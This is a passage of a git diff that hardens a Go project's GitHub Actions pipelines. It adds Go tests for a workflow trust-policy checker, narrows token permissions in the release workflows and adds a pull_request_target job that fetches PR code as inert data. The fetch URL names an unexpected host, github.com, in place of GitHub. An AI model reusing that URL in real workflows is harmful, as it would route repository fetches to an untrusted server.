map[string]string{workflow: newContext}, map[string]string{workflow: newContext}, map[string]bool{workflow: true}, map[string]bool{workflow: true}, false}, + "same PR stage and adopt": {base, staged, map[string]string{workflow: oldContext}, map[string]string{workflow: newContext}, map[string]bool{workflow: true}, map[string]bool{workflow: true}, true}, + "promote before adopt": {staged, promoted, map[string]string{workflow: oldContext}, map[string]string{workflow: oldContext}, map[string]bool{workflow: true}, map[string]bool{workflow: true}, true}, + } { + t.Run(name, func(t *testing.T) { + findings := validateTrustTransition(test.base, test.candidate, test.baseContexts, test.candidateCtx, test.basePresent, test.candidatePresent) + if got := len(findings) > 0; got != test.wantFinding { + t.Fatalf("findings = %v, wantFinding = %v", findings, test.wantFinding) + } + if name == "same PR stage and adopt" && !strings.Contains(strings.Join(findings, "\n"), "same pull request") { + t.Fatalf("same-PR trust rejection was not explicit: %v", findings) + } + }) + } + + t.Run("secret manifest must remain empty", func(t *testing.T) { + candidate := base + candidate.Secrets = []allowEntry{{Path: workflow, Secret: "TOKEN", ContextSHA256: oldContext, State: "active", Rationale: "not allowed"}} + if findings := validateTrustTransition(base, candidate, map[string]string{workflow: oldContext}, map[string]string{workflow: oldContext}, map[string]bool{workflow: true}, map[string]bool{workflow: true}); len(findings) == 0 { + t.Fatal("non-empty secret manifest was accepted") + } + }) + + t.Run("mixed staged contexts", func(t *testing.T) { + candidate := staged + candidate.Actions = []actionEntry{{Path: workflow, Uses: "actions/checkout@" + strings.Repeat("e", 40), NodeSHA256: strings.Repeat("f", 64), ContextSHA256: strings.Repeat("9", 64), State: "staged", Rationale: "Unrelated context."}} + if findings := validateTrustTransition(base, candidate, map[string]string{workflow: oldContext}, map[string]string{workflow: oldContext}, map[string]bool{workflow: true}, map[string]bool{workflow: true}); len(findings) == 0 { + t.Fatal("mixed staged contexts were accepted") + } + }) + + t.Run("drops active row", func(t *testing.T) { + candidate := staged + candidate.Commands = candidate.Commands[1:] + if findings := validateTrustTransition(base, candidate, map[string]string{workflow: oldContext}, map[string]string{workflow: oldContext}, map[string]bool{workflow: true}, map[string]bool{workflow: true}); len(findings) == 0 { + t.Fatal("stage transition that dropped an active row was accepted") + } + }) + + t.Run("malformed staged presence", func(t *testing.T) { + candidate := staged + candidate.Presence = append([]trustGroup(nil), staged.Presence...) + candidate.Presence[1].Presence = "pending" + if findings := validateTrustTransition(base, candidate, map[string]string{workflow: oldContext}, map[string]string{workflow: oldContext}, map[string]bool{workflow: true}, map[string]bool{workflow: true}); len(findings) == 0 { + t.Fatal("malformed staged presence was accepted") + } + }) + + t.Run("malformed staged action", func(t *testing.T) { + candidate := staged + candidate.Actions = []actionEntry{{ + Path: workflow, Uses: "actions/checkout@main", NodeSHA256: strings.Repeat("e", 64), ContextSHA256: newContext, + State: "staged", Rationale: "Mutable action reference.", + }} + if findings := validateTrustTransition(base, candidate, map[string]string{workflow: oldContext}, map[string]string{workflow: oldContext}, map[string]bool{workflow: true}, map[string]bool{workflow: true}); len(findings) == 0 { + t.Fatal("malformed staged action was accepted") + } + }) +} + +func TestValidateRepositoryAuthorityLoadsAndChecksRealizedFiles(t *testing.T) { + root := t.TempDir() + for _, file := range authorityFixture("active", strings.Repeat("a", 64)).Files { + filePath := filepath.Join(root, filepath.FromSlash(file.Path)) + if err := os.MkdirAll(filepath.Dir(filePath), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filePath, []byte(file.Path), 0o600); err != nil { + t.Fatal(err) + } + } + inventory, err := authorityInventory(root) + if err != nil { + t.Fatal(err) + } + manifest := authorityManifest{Version: 1, Bundles: []authorityBundle{{State: "active", Files: inventory}}} + writeJSON := func(filePath string, value any) { + t.Helper() + data, marshalErr := json.Marshal(value) + if marshalErr != nil { + t.Fatal(marshalErr) + } + if err := os.WriteFile(filepath.Join(root, filepath.FromSlash(filePath)), append(data, '\n'), 0o600); err != nil { + t.Fatal(err) + } + } + writeJSON(".github/public-workflow-authority.json", manifest) + writeJSON(".github/public-workflow-secret-allowlist.json", []allowEntry{}) + writeJSON(".github/public-workflow-executable-allowlist.json", []executableEntry{}) + writeJSON(".github/public-workflow-command-allowlist.json", []commandEntry{}) + writeJSON(".github/public-workflow-action-allowlist.json", []actionEntry{}) + writeJSON(".github/public-workflow-presence-allowlist.json", []trustGroup{{Path: ".github/workflows/retired.yml", State: "active", Presence: "absent"}}) + + if findings, err := validateRepositoryAuthority(root, root, false); err != nil || len(findings) != 0 { + t.Fatalf("valid repository authority findings = %v, err = %v", findings, err) + } + authorityPath := filepath.Join(root, ".github", "public-workflow-authority.json") + authorityData, err := os.ReadFile(authorityPath) + if err != nil { + t.Fatal(err) + } + if err := os.Remove(authorityPath); err != nil { + t.Fatal(err) + } + externalAuthority := filepath.Join(t.TempDir(), "authority.json") + if err := os.WriteFile(externalAuthority, authorityData, 0o600); err != nil { + t.Fatal(err) + } + if err := os.Symlink(externalAuthority, authorityPath); err != nil { + t.Fatal(err) + } + if _, err := validateRepositoryAuthority(root, root, false); err == nil || !strings.Contains(err.Error(), "symlink") { + t.Fatalf("symlinked authority manifest error = %v", err) + } + if err := os.Remove(authorityPath); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(authorityPath, authorityData, 0o600); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(root, ".github", "workflows", "policytool", "main.go"), []byte("mutated"), 0o600); err != nil { + t.Fatal(err) + } + if findings, err := validateRepositoryAuthority(root, root, false); err != nil || len(findings) == 0 { + t.Fatalf("mutated realized authority findings = %v, err = %v", findings, err) + } +} + +func TestAuthorityInventoryRejectsSymlinkedFixedAncestor(t *testing.T) { + root := t.TempDir() + external := t.TempDir() + for _, file := range authorityFixture("active", strings.Repeat("a", 64)).Files { + if file.Path == ".github/workflows/scripts/verify-public-workflow-branch-protection.sh" { + continue + } + filePath := filepath.Join(root, filepath.FromSlash(file.Path)) + if err := os.MkdirAll(filepath.Dir(filePath), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filePath, []byte(file.Path), 0o600); err != nil { + t.Fatal(err) + } + } + externalVerifier := filepath.Join(external, "verify-public-workflow-branch-protection.sh") + if err := os.WriteFile(externalVerifier, []byte("external"), 0o600); err != nil { + t.Fatal(err) + } + scriptsPath := filepath.Join(root, ".github", "workflows", "scripts") + if err := os.Symlink(external, scriptsPath); err != nil { + t.Fatal(err) + } + if _, err := authorityInventory(root); err == nil || !strings.Contains(err.Error(), "symlink") { + t.Fatalf("symlinked fixed-file ancestor error = %v", err) + } +} diff --git a/.github/workflows/pre-release.yml b/.github/workflows/pre-release.yml index c47373466..103ff7a09 100644 --- a/.github/workflows/pre-release.yml +++ b/.github/workflows/pre-release.yml @@ -9,12 +9,13 @@ on: - main permissions: - contents: write - packages: write + contents: read + +defaults: + run: + shell: bash env: - GOPRIVATE: github.com/GoCodeAlone/* - GONOSUMCHECK: github.com/GoCodeAlone/* # See ci.yml for rationale. Force in-memory diffcache in CI per the # T3.5 rev3 lifecycle constraint. WFCTL_DIFFCACHE: ":memory:" @@ -23,6 +24,9 @@ jobs: test: name: Pre-release Tests runs-on: ubuntu-latest + permissions: + contents: read + packages: read steps: - name: Check out code uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 @@ -30,7 +34,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Set up Node.js @@ -42,11 +46,11 @@ jobs: cache-dependency-path: ui/package-lock.json - name: Build UI assets (required for Go embed) + env: + NODE_AUTH_TOKEN: ${{ github.token }} run: | cd ui && npm ci && npm run build cd .. && mkdir -p module/ui_dist && cp -r ui/dist/* module/ui_dist/ - env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Run tests run: go test -race ./... @@ -55,6 +59,9 @@ jobs: name: Build Snapshot Release runs-on: ubuntu-latest needs: test + permissions: + contents: write + packages: read steps: - name: Check out code @@ -65,7 +72,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Set up Node.js @@ -77,38 +84,39 @@ jobs: cache-dependency-path: ui/package-lock.json - name: Build UI assets (required for Go embed) + env: + NODE_AUTH_TOKEN: ${{ github.token }} run: | cd ui && npm ci && npm run build cd .. && mkdir -p module/ui_dist && cp -r ui/dist/* module/ui_dist/ - env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Determine snapshot version id: version run: | SHORT_SHA=$(git rev-parse --short HEAD) SNAPSHOT_VERSION="snapshot-${SHORT_SHA}" - echo "VERSION=${SNAPSHOT_VERSION}" >> "$GITHUB_ENV" echo "version=${SNAPSHOT_VERSION}" >> "$GITHUB_OUTPUT" - name: Build binaries + env: + VERSION: ${{ steps.version.outputs.version }} run: | mkdir -p dist - LDFLAGS="-s -w -X main.version=${VERSION}" - - GOOS=linux GOARCH=amd64 go build -ldflags="${LDFLAGS}" -o dist/workflow-linux-amd64 ./cmd/server - GOOS=linux GOARCH=arm64 go build -ldflags="${LDFLAGS}" -o dist/workflow-linux-arm64 ./cmd/server - GOOS=darwin GOARCH=amd64 go build -ldflags="${LDFLAGS}" -o dist/workflow-darwin-amd64 ./cmd/server - GOOS=darwin GOARCH=arm64 go build -ldflags="${LDFLAGS}" -o dist/workflow-darwin-arm64 ./cmd/server - GOOS=windows GOARCH=amd64 go build -ldflags="${LDFLAGS}" -o dist/workflow-windows-amd64.exe ./cmd/server - - GOOS=linux GOARCH=amd64 go build -ldflags="${LDFLAGS}" -o dist/wfctl-linux-amd64 ./cmd/wfctl - GOOS=linux GOARCH=arm64 go build -ldflags="${LDFLAGS}" -o dist/wfctl-linux-arm64 ./cmd/wfctl - GOOS=darwin GOARCH=amd64 go build -ldflags="${LDFLAGS}" -o dist/wfctl-darwin-amd64 ./cmd/wfctl - GOOS=darwin GOARCH=arm64 go build -ldflags="${LDFLAGS}" -o dist/wfctl-darwin-arm64 ./cmd/wfctl - GOOS=windows GOARCH=amd64 go build -ldflags="${LDFLAGS}" -o dist/wfctl-windows-amd64.exe ./cmd/wfctl + GOOS=linux GOARCH=amd64 go build -ldflags="-s -w -X main.version=${VERSION}" -o dist/workflow-linux-amd64 ./cmd/server + GOOS=linux GOARCH=arm64 go build -ldflags="-s -w -X main.version=${VERSION}" -o dist/workflow-linux-arm64 ./cmd/server + GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w -X main.version=${VERSION}" -o dist/workflow-darwin-amd64 ./cmd/server + GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w -X main.version=${VERSION}" -o dist/workflow-darwin-arm64 ./cmd/server + GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -X main.version=${VERSION}" -o dist/workflow-windows-amd64.exe ./cmd/server + + GOOS=linux GOARCH=amd64 go build -ldflags="-s -w -X main.version=${VERSION}" -o dist/wfctl-linux-amd64 ./cmd/wfctl + GOOS=linux GOARCH=arm64 go build -ldflags="-s -w -X main.version=${VERSION}" -o dist/wfctl-linux-arm64 ./cmd/wfctl + GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w -X main.version=${VERSION}" -o dist/wfctl-darwin-amd64 ./cmd/wfctl + GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w -X main.version=${VERSION}" -o dist/wfctl-darwin-arm64 ./cmd/wfctl + GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -X main.version=${VERSION}" -o dist/wfctl-windows-amd64.exe ./cmd/wfctl - name: Package admin UI + env: + VERSION: ${{ steps.version.outputs.version }} run: | tar -czf "dist/workflow-admin-ui-${VERSION}.tar.gz" -C ui dist @@ -119,12 +127,70 @@ jobs: - name: Clean up old snapshot releases run: | - # Delete all previous snapshot-* releases (keep only latest) - gh release list --limit 50 | grep '^snapshot-' | awk '{print $1}' | while read -r tag; do - gh release delete "$tag" --yes --cleanup-tag || true - done + delete_github_resource() { + local endpoint="$1" + local label="$2" + local response + local command_status + local status_line + local http_status + + if response="$(gh api --include --method DELETE "$endpoint" 2>&1)"; then + command_status=0 + else + command_status=$? + fi + status_line="${response%%$'\n'*}" + status_line="${status_line%$'\r'}" + if [[ ! "$status_line" =~ ^HTTP/[0-9]+(\.[0-9]+)?[[:space:]]+([0-9]{3})([[:space:]].*)?$ ]]; then + echo "${label} deletion returned a missing or malformed HTTP status" >&2 + printf '%s\n' "$response" >&2 + return 1 + fi + http_status="${BASH_REMATCH[2]}" + if [[ "$http_status" == 404 ]]; then + return 0 + fi + if [[ "$command_status" -ne 0 ]]; then + echo "${label} deletion failed with HTTP ${http_status}" >&2 + printf '%s\n' "$response" >&2 + return "$command_status" + fi + if [[ "$http_status" =~ ^2[0-9]{2}$ ]]; then + return 0 + fi + echo "${label} deletion returned unexpected HTTP ${http_status}" >&2 + printf '%s\n' "$response" >&2 + return 1 + } + + if snapshot_releases="$(gh api --paginate "repos/${GITHUB_REPOSITORY}/releases?per_page=100" \ + --jq '.[] | select(.tag_name | startswith("snapshot-")) | [.id, .tag_name, (.tag_name | @uri)] | @tsv')"; then + : + else + list_status=$? + echo "snapshot release listing failed" >&2 + exit "$list_status" + fi + while read -r release_id tag encoded_tag extra; do + [[ -z "$release_id" && -z "$tag" ]] && continue + if [[ ! "$release_id" =~ ^[0-9]+$ || -z "$tag" || + -z "$encoded_tag" || -n "$extra" ]]; then + echo "snapshot release listing returned malformed data" >&2 + exit 1 + fi + done <<< "$snapshot_releases" + while read -r release_id tag encoded_tag extra; do + [[ -z "$release_id" && -z "$tag" ]] && continue + delete_github_resource \ + "repos/${GITHUB_REPOSITORY}/releases/${release_id}" \ + "snapshot release ${tag}" + delete_github_resource \ + "repos/${GITHUB_REPOSITORY}/git/refs/tags/${encoded_tag}" \ + "snapshot tag ${tag}" + done <<< "$snapshot_releases" env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GH_TOKEN: ${{ github.token }} - name: Create snapshot release run: | @@ -141,7 +207,7 @@ jobs: --prerelease \ dist/* env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GH_TOKEN: ${{ github.token }} docker-snapshot: name: Build & Push Snapshot Image (ko) @@ -158,21 +224,18 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Set up ko uses: ko-build/setup-ko@d006021bd0c28d1ce33a07e7943d48b079944c8d # v0.9 - name: Log in to GitHub Container Registry - run: echo "${{ secrets.GITHUB_TOKEN }}" | ko login ghcr.io --username ${{ github.actor }} --password-stdin + run: echo "${{ github.token }}" | ko login ghcr.io --username ${{ github.actor }} --password-stdin - name: Build and push snapshot env: KO_DOCKER_REPO: ghcr.io/gocodealone/workflow - GOPRIVATE: github.com/GoCodeAlone/* - GONOSUMCHECK: github.com/GoCodeAlone/* - GOFLAGS: -mod=mod run: | SHA_SHORT="${GITHUB_SHA:0:7}" diff --git a/.github/workflows/public-workflow-policy.yml b/.github/workflows/public-workflow-policy.yml new file mode 100644 index 000000000..85a7490e0 --- /dev/null +++ b/.github/workflows/public-workflow-policy.yml @@ -0,0 +1,124 @@ +name: Public Workflow Policy + +# Bootstrap note: the PR that first introduces this workflow cannot be guarded +# by a workflow absent from its base branch. Once merged, pull_request_target +# always runs the trusted base copy and treats the candidate archive as data. +on: + pull_request_target: + types: [opened, synchronize, reopened, ready_for_review, edited] + push: + branches: [main] + +permissions: + contents: read + +defaults: + run: + shell: bash + +jobs: + policy: + runs-on: ubuntu-latest + steps: + - name: Check out trusted base policy + id: trusted-checkout + continue-on-error: true + uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + ref: ${{ github.event_name == 'push' && github.event.before || github.event.pull_request.base.sha }} + path: trusted + persist-credentials: false + + - name: Fetch candidate as inert data + env: + CANDIDATE_REPOSITORY: ${{ github.event_name == 'push' && github.repository || github.event.pull_request.head.repo.full_name }} + CANDIDATE_SHA: ${{ github.event_name == 'push' && github.sha || github.event.pull_request.head.sha }} + GIT_ASKPASS: /bin/false + GIT_CONFIG_GLOBAL: /dev/null + GIT_CONFIG_NOSYSTEM: 1 + GIT_TERMINAL_PROMPT: 0 + run: | + if [[ ! "$CANDIDATE_REPOSITORY" =~ ^[A-Za-z0-9][A-Za-z0-9-]{0,38}/[A-Za-z0-9._-]{1,100}$ ]]; then + echo "candidate repository must be an exact GitHub owner/name" >&2 + exit 1 + fi + if [[ ! "$CANDIDATE_SHA" =~ ^[0-9a-f]{40}$ ]]; then + echo "candidate SHA must be exactly 40 lowercase hexadecimal characters" >&2 + exit 1 + fi + origin="https://github.com/${CANDIDATE_REPOSITORY}.git" + mkdir candidate-source candidate + git -C candidate-source init --quiet + git -C candidate-source \ + -c credential.helper= \ + -c core.askPass=/bin/false \ + -c credential.interactive=never \ + -c http.https://github.com/.extraheader= \ + fetch --no-tags --depth=1 "$origin" "$CANDIDATE_SHA" + fetched_sha="$(git -C candidate-source rev-parse 'FETCH_HEAD^{commit}')" + if [[ "$fetched_sha" != "$CANDIDATE_SHA" ]]; then + echo "fetched candidate does not match the requested SHA" >&2 + exit 1 + fi + git -C candidate-source ls-tree -r --format='%(objectmode)' FETCH_HEAD > candidate-tree-modes + while read -r object_mode; do + case "$object_mode" in + 100644|100755) ;; + *) + echo "candidate tree contains forbidden object mode: $object_mode" >&2 + exit 1 + ;; + esac + done < candidate-tree-modes + git -C candidate-source archive --worktree-attributes --format=tar FETCH_HEAD > candidate.tar + if ! LC_ALL=C tar -tvf candidate.tar > candidate.tar.list; then + echo "candidate archive listing failed" >&2 + exit 1 + fi + while read -r archive_entry; do + case "${archive_entry:0:1}" in + -|d) ;; + *) + echo "candidate archive contains a forbidden entry type" >&2 + exit 1 + ;; + esac + done < candidate.tar.list + tar --extract --file=candidate.tar --directory=candidate --no-same-owner --no-same-permissions + symlink_path="$(find candidate -type l -print -quit)" + if [[ -n "$symlink_path" ]]; then + echo "candidate archive contains a forbidden symlink" >&2 + exit 1 + fi + + - name: Select exact trusted policy root + id: policy-root + env: + BEFORE_SHA: ${{ github.event.before }} + EVENT_NAME: ${{ github.event_name }} + run: | + root=trusted + if [ ! -x trusted/scripts/check-public-workflow-policy.sh ]; then + # This one-time push executes newly merged main, never PR-head data. + if [ "$EVENT_NAME" = push ] && [ "$BEFORE_SHA" = 9c364dd4e6dad83808f8a87c1ba990d0132f0372 ]; then + root=candidate + else + echo "trusted workflow policy is missing or incomplete" >&2 + exit 1 + fi + fi + echo "root=$root" >> "$GITHUB_OUTPUT" + + - name: Set up Go for the trusted analyzer + uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5 + with: + go-version-file: ${{ steps.policy-root.outputs.root }}/.github/workflows/policytool/go.mod + cache: false + + - name: Scan candidate workflows with trusted base policy + run: | + if [ "${{ steps.policy-root.outputs.root }}" = candidate ]; then + cd candidate && ./scripts/check-public-workflow-policy.sh --scan-root "${GITHUB_WORKSPACE}/candidate" --bootstrap-authority + else + cd trusted && ./scripts/check-public-workflow-policy.sh --scan-root "${GITHUB_WORKSPACE}/candidate" + fi diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 6c327acdc..2ac9d3257 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -4,32 +4,43 @@ on: push: tags: - 'v*' - workflow_call: - inputs: - tag_name: - description: 'Tag name to release (e.g. v1.2.3)' - required: true - type: string - secrets: - repo_dispatch_token: - required: true permissions: - contents: write - packages: write + contents: read + +defaults: + run: + shell: bash env: - GOPRIVATE: github.com/GoCodeAlone/* - GONOSUMCHECK: github.com/GoCodeAlone/* - TAG_NAME: ${{ inputs.tag_name || github.ref_name }} + TAG_NAME: ${{ github.ref_name }} # See ci.yml for rationale. Force in-memory diffcache in CI per the # T3.5 rev3 lifecycle constraint. WFCTL_DIFFCACHE: ":memory:" jobs: + verify-release-tag: + name: Verify tag belongs to protected main + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - name: Check out tagged commit + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + fetch-depth: 0 + - name: Require tagged commit on protected main + run: | + git fetch --no-tags origin refs/heads/main:refs/remotes/origin/main + git merge-base --is-ancestor "$GITHUB_SHA" refs/remotes/origin/main + test: name: Pre-release Tests runs-on: ubuntu-latest + needs: verify-release-tag + permissions: + contents: read + packages: read steps: - name: Check out code uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 @@ -37,7 +48,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Set up Node.js @@ -49,11 +60,11 @@ jobs: cache-dependency-path: ui/package-lock.json - name: Build UI assets (required for Go embed) + env: + NODE_AUTH_TOKEN: ${{ github.token }} run: | cd ui && npm ci && npm run build cd .. && mkdir -p module/ui_dist && cp -r ui/dist/* module/ui_dist/ - env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Run tests run: go test -race ./... @@ -61,6 +72,10 @@ jobs: build-ui: name: Build Admin UI runs-on: ubuntu-latest + needs: verify-release-tag + permissions: + contents: read + packages: read steps: - name: Check out code @@ -75,9 +90,9 @@ jobs: cache-dependency-path: ui/package-lock.json - name: Install dependencies - run: cd ui && npm ci env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + NODE_AUTH_TOKEN: ${{ github.token }} + run: cd ui && npm ci - name: Build admin UI run: cd ui && npm run build @@ -86,7 +101,6 @@ jobs: run: | VERSION=${TAG_NAME} tar -czf "workflow-admin-ui-${VERSION}.tar.gz" -C ui dist - echo "UI_TARBALL=workflow-admin-ui-${VERSION}.tar.gz" >> "$GITHUB_ENV" - name: Upload UI artifact uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 @@ -112,7 +126,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Set up Node.js @@ -124,23 +138,19 @@ jobs: cache-dependency-path: ui/package-lock.json - name: Build UI assets (required for Go embed) + env: + NODE_AUTH_TOKEN: ${{ github.token }} run: | cd ui && npm ci && npm run build cd .. && mkdir -p module/ui_dist && cp -r ui/dist/* module/ui_dist/ - env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Set up ko uses: ko-build/setup-ko@d006021bd0c28d1ce33a07e7943d48b079944c8d # v0.9 - name: Log in to GitHub Container Registry - run: echo "${{ secrets.GITHUB_TOKEN }}" | ko login ghcr.io --username ${{ github.actor }} --password-stdin + run: echo "${{ github.token }}" | ko login ghcr.io --username ${{ github.actor }} --password-stdin - name: Build and push - env: - GOPRIVATE: github.com/GoCodeAlone/* - GONOSUMCHECK: github.com/GoCodeAlone/* - GOFLAGS: -mod=mod run: | KO_DOCKER_REPO="ghcr.io/$(echo '${{ github.repository }}' | tr '[:upper:]' '[:lower:]')" export KO_DOCKER_REPO @@ -162,6 +172,10 @@ jobs: build-binaries: name: Build ${{ matrix.name }} binaries runs-on: ubuntu-latest + needs: verify-release-tag + permissions: + contents: read + packages: read strategy: fail-fast: false matrix: @@ -192,7 +206,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Set up Node.js @@ -206,18 +220,16 @@ jobs: - name: Build UI assets (required for Go embed) if: matrix.build_ui + env: + NODE_AUTH_TOKEN: ${{ github.token }} run: | cd ui && npm ci && npm run build cd .. && mkdir -p module/ui_dist && cp -r ui/dist/* module/ui_dist/ - env: - NODE_AUTH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Build binaries run: | mkdir -p dist VERSION=${TAG_NAME} - LDFLAGS="-s -w -X main.version=${VERSION}" - for platform in ${{ matrix.platforms }}; do GOOS="${platform%/*}" GOARCH="${platform#*/}" @@ -226,7 +238,7 @@ jobs: output="${output}.exe" fi echo "Building ${output}..." - GOOS="${GOOS}" GOARCH="${GOARCH}" go build -ldflags="${LDFLAGS}" -o "${output}" ${{ matrix.cmd }} + GOOS="${GOOS}" GOARCH="${GOARCH}" go build -ldflags="-s -w -X main.version=${VERSION}" -o "${output}" ${{ matrix.cmd }} done - name: Upload binaries @@ -244,6 +256,8 @@ jobs: # completed. The Docker job still waits for tests because it pushes to GHCR # directly rather than uploading a temporary artifact. needs: [test, build-binaries, build-ui] + permissions: + contents: write steps: - name: Check out code @@ -267,7 +281,7 @@ jobs: - name: Set up Go uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' cache: false - name: Generate grpc-versions.txt @@ -298,7 +312,7 @@ jobs: - name: Create Release (draft during asset upload) env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GH_TOKEN: ${{ github.token }} run: | set -euo pipefail prerelease_flag=() @@ -314,64 +328,5 @@ jobs: - name: Publish release (was draft during asset upload) env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GH_TOKEN: ${{ github.token }} run: gh release edit ${{ env.TAG_NAME }} --draft=false --repo ${{ github.repository }} - - update-homebrew: - name: Update Homebrew Tap - runs-on: ubuntu-latest - needs: release - if: ${{ !contains(inputs.tag_name || github.ref_name, '-') }} - steps: - - name: Update wfctl formula in homebrew-tap - uses: peter-evans/repository-dispatch@28959ce8df70de7be546dd1250a005dd32156697 # v4.0.1 - with: - token: ${{ secrets.repo_dispatch_token }} - repository: GoCodeAlone/homebrew-tap - event-type: update-wfctl - client-payload: '{"version": "${{ env.TAG_NAME }}"}' - - notify-ide-plugins: - name: Notify IDE Plugins - runs-on: ubuntu-latest - needs: release - if: ${{ !contains(inputs.tag_name || github.ref_name, '-') }} - strategy: - matrix: - repo: ['GoCodeAlone/workflow-editor'] - steps: - - name: Trigger IDE update for ${{ matrix.repo }} - uses: peter-evans/repository-dispatch@28959ce8df70de7be546dd1250a005dd32156697 # v4.0.1 - with: - token: ${{ secrets.repo_dispatch_token }} - repository: ${{ matrix.repo }} - event-type: workflow-release - client-payload: '{"version": "${{ env.TAG_NAME }}"}' - - notify-workflow-registry: - name: Notify workflow-registry - runs-on: ubuntu-latest - needs: release - if: ${{ !contains(inputs.tag_name || github.ref_name, '-') }} - steps: - - name: Trigger registry manifest sync - uses: peter-evans/repository-dispatch@28959ce8df70de7be546dd1250a005dd32156697 # v4.0.1 - with: - token: ${{ secrets.repo_dispatch_token }} - repository: GoCodeAlone/workflow-registry - event-type: workflow-release - client-payload: '{"workflow": "${{ github.repository }}", "version": "${{ env.TAG_NAME }}"}' - - notify-workflow-scenarios: - name: Notify workflow-scenarios - runs-on: ubuntu-latest - needs: release - if: ${{ !contains(inputs.tag_name || github.ref_name, '-') }} - steps: - - name: Trigger workflow-scenarios bump - uses: peter-evans/repository-dispatch@28959ce8df70de7be546dd1250a005dd32156697 # v4.0.1 - with: - token: ${{ secrets.repo_dispatch_token }} - repository: GoCodeAlone/workflow-scenarios - event-type: workflow-release - client-payload: '{"workflow": "${{ github.repository }}", "tag": "${{ env.TAG_NAME }}"}' diff --git a/.github/workflows/scripts/file-or-comment-leak-issue.sh b/.github/workflows/scripts/file-or-comment-leak-issue.sh deleted file mode 100755 index 63d3f91f8..000000000 --- a/.github/workflows/scripts/file-or-comment-leak-issue.sh +++ /dev/null @@ -1,60 +0,0 @@ -#!/usr/bin/env bash -# File-or-comment dedup helper for the conformance leak scrubber and -# the budget soft-alert. Files a NEW GitHub issue when no open dedup- -# matched issue exists; appends a comment to the existing one when -# it does. The dedup match requires BOTH labels: -# -# conformance-leak-incident (or conformance-budget-incident) -# auto-filed-leak (or auto-filed-budget) -# -# Operators who file issues manually with only the primary label -# (for human investigation) are NOT appended to — preserving the -# manual postmortem swimlane. -# -# Usage: -# file-or-comment-leak-issue.sh
-# -# Optional environment variables: -# PRIMARY_LABEL defaults to "conformance-leak-incident" -# HELPER_LABEL defaults to "auto-filed-leak" -# ISSUE_TITLE defaults to "Conformance leak: resources scrubbed" -# -# See docs/conformance-runbook.md § "Helper conventions" for the -# label-removal warning and the postmortem-swimlane workaround. - -set -euo pipefail - -if [[ $# -lt 2 ]]; then - echo "usage: $0
" >&2 - exit 64 # EX_USAGE -fi - -SCRUBBED_COUNT="$1" -SCRUBBED_DETAILS="$2" -PRIMARY_LABEL="${PRIMARY_LABEL:-conformance-leak-incident}" -HELPER_LABEL="${HELPER_LABEL:-auto-filed-leak}" -ISSUE_TITLE="${ISSUE_TITLE:-Conformance leak: ${SCRUBBED_COUNT} resources scrubbed}" - -# Match issues that have BOTH labels (operator-filed issues with only -# the primary label are skipped, preserving manual investigation -# context per the runbook's "Helper conventions" section). -EXISTING="$(gh issue list \ - --label "${PRIMARY_LABEL}" \ - --label "${HELPER_LABEL}" \ - --state open \ - --json number \ - --jq '.[0].number // empty')" - -NOW="$(date -u '+%Y-%m-%dT%H:%M:%SZ')" - -if [[ -n "${EXISTING}" ]]; then - gh issue comment "${EXISTING}" --body "Scrubber run at ${NOW}: scrubbed ${SCRUBBED_COUNT} resources. Details: ${SCRUBBED_DETAILS}" -else - gh issue create \ - --label "${PRIMARY_LABEL}" \ - --label "${HELPER_LABEL}" \ - --title "${ISSUE_TITLE}" \ - --body 